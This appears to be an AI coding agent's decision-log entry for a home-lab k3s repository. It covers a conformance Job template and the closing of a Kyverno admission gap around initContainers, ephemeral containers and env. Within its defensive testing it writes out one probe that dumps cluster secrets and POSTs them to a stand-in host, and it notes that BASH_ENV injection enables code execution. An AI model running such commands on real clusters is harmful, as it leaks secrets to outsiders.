home-network-k3s-impl/decisions/2026-09-29-conformance-job-template.md

---
date: 2026-09-29
branch: feat/conformance-job-template
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
---

## What changed

Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
renderable run template. Along the way the admission policy that is supposed to bound that Job
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
more rules and moved the clone script out of the Job entirely.

> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
> file under `decisions/`; the archive is untouched.

### The binding constraint, and how it was met

`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
Secret volume and the init container could not have a scratch volume:

- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
  not write it.
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).

The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
happened to be.

### Results out of the Job with no exec channel

The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
    <base64 of the tgz, wrapped at 76 columns>
    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===

`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
digest appear in **both** markers and the collector owes five checks, each documented above the
function.

### THE FINDING: the admission boundary did not look at `initContainers`

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
already have carried one.

It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
policy gained four rules in this branch:

- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
  must be on the digest-pinned `conformance-runner` image, `command:
  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
  false`, not privileged.
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
  note under "What I did NOT verify".
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
  non-interactive script, and the runner's command IS a bash script. The init list iterates
  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
  nowhere in the Job, which would make the allowlist above unenforceable by inspection.

All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
one** element matches", so a pattern-based init rule would have admitted the committed clone step
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.

**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
legitimately environment-specific, and `conformance-runner` can already read this namespace's
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
undone.

### The clone script left the Job — that is the actual fix

Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
a policy cannot distinguish the committed script from an attacker's, because both are just data.
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
else.

I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
1's version before deleting mine rather than assuming compatibility, and the interface my Job
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
than honouring it.

**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
**independently and against an instruction to read those values from env** — an instruction the
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
trusting it just moves the injection" reasoning in one afternoon is the signal that the
field-enumeration gap was systemic, not a one-off.

### The committed `args` default was a shape that cannot run

Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
filters to `/l0-static/|/l1-rendering/`:

| args | offline selection | verdict |
|---|---|---|
| `--layer l2,l3` | empty | **RUNS** |
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |

So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).

I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
considered rather than missed.

## What I verified

### Admission, proven with the pinned CLI rather than assumed

kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:

    ##### the real rendered template MUST PASS
    Applying 7 policy rule(s) to 1 resource(s)...
    pass: 7, fail: 0, warn: 0, error: 0, skip: 0

    ##### the coordinator's exact initContainer probe MUST FAIL
    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
    pass: 6, fail: 1, warn: 0, error: 0, skip: 0

    ##### same escalation via ephemeralContainers MUST FAIL
    1 - trigger-may-not-declare-ephemeral-containers ...
    pass: 6, fail: 1, warn: 0, error: 0, skip: 0

The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
compliant and `serviceAccountName: conformance-runner`:

- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
- the committed template with **only** the init container's `args` swapped for
  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
  → `pass: 3, fail: 0` — **ADMITTED**

Negative controls on the same rendered template, showing the original rules do bite where they
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
`/spec/template/spec/containers/0/command/`.

Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:

| resource | creat | vols | args | init | ephem | envnm | envfr |
|---|---|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
| `good-run` | pass | pass | pass | — | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |

`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
column, and it is why the fixtures are worth more than the rules' prose.
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
That is why env had to be its own rule and not a condition bolted onto the init rule.

The rendered template is now a fixture (`real-template` in
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
admission fails `make -C ci l0` instead of failing at 2am.

### How strong that evidence is — the `kyverno test` load trap

`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
`Test Summary: 9 tests passed and 0 tests failed`.

So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
`error: 0, skip: 0` in the numbers above, not the exit code.

Two further limits on what a CLI pass proves:

- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
  `kyverno apply`.
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
  admission in the cluster.

### Two Kyverno traps, both of which silently invert the result

Both are now commented in the rules:

- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
  `false` into `true` and denies every good Job.
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
  `["/bin/sh","-c",…]` through on element 0.

### The results envelope

**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
verified; its transport over `kubectl logs` from a real Pod is not.**

### Gate

Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
`.git`, per CLAUDE.md §3):

    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
    spec-immutability: green
    decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
                            2 entries well-formed — this one included)
    lint: green            (404 files)
    l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
                            0 failures, 0 skips, 0 unwired)
    render-golden: green   (10 onboarded service goldens reproduce)
    l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
    gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
    conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
      Stages that did not run: gitea-settings
    rc 3

Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
says nothing about Gitea's branch protection or runner registration, and the seven touched
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
eye — though that stage checks *structure*, never whether any claim inside it is true.

### The `approval-policy` check this PR was expected to fail does not exist

I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
security-relevant. **That check does not exist.** Measured rather than assumed:

    grep -rn approval .gitea/workflows/     ->  no match
    GET /repos/.../branches/main
      protected                    True
      user_can_push                False
      enable_status_check          True
      status_check_contexts        ['gate / gate (pull_request)']
      required_approvals           1
    GET /repos/.../commits/<head>/statuses
      success   gate / gate (pull_request)          Successful in 1m36s
      pending   gate / conformance (pull_request)   Blocked by required conditions

The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
approval policy in CI anywhere in this repo.** What actually stops this merging is
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.

**Consequence worth acting on:** a change under `conformance/**` — including a change to the
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
`paths:`-scoped required check would be the mechanism; neither exists today.

The PR was **not merged** and nothing was worked around.

### Process note, worth more than the policy fix

Both halves of the security finding came from **probing rather than reading**. The hole was not
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
policy is only as trustworthy as its negative fixtures.

### Addendum — rebased onto `main` after #18 landed (2026-09-29)

This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
file (see `decisions/README.md`).

The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.

One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
`main` documenting an open hole that had just been closed, which is the same
documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
rebase: every file but that README is byte-identical to the pre-rebase tip.

## What I did NOT verify

- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
  all **unexercised**. The envelope itself is verified; its transport is not.
- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
  if the path were missing or named differently the init container would fail to start, and if the
  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
  image has been built or pushed, so the digest this branch pins still resolves to nothing.
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
  name is referenced here.
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
  not been built. If the Containerfile picks a different uid, the Job will not start.
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
  assertion turns that into a loud failure rather than a wrong-tree run.
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
  the rule should stay either way.
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
  trigger identity in a live admission request.
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
  manifests. A policy that a CLI accepts can still behave differently once installed.
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
  there is deliberately partial, not complete.
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
  reviewed change. That is the intended failure direction, but it is a coupling the next person
  editing either script needs to know about, so it is called out in the rule's message.
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
  branch changes nothing about what CI does today.
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
  runtime behaviour.
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.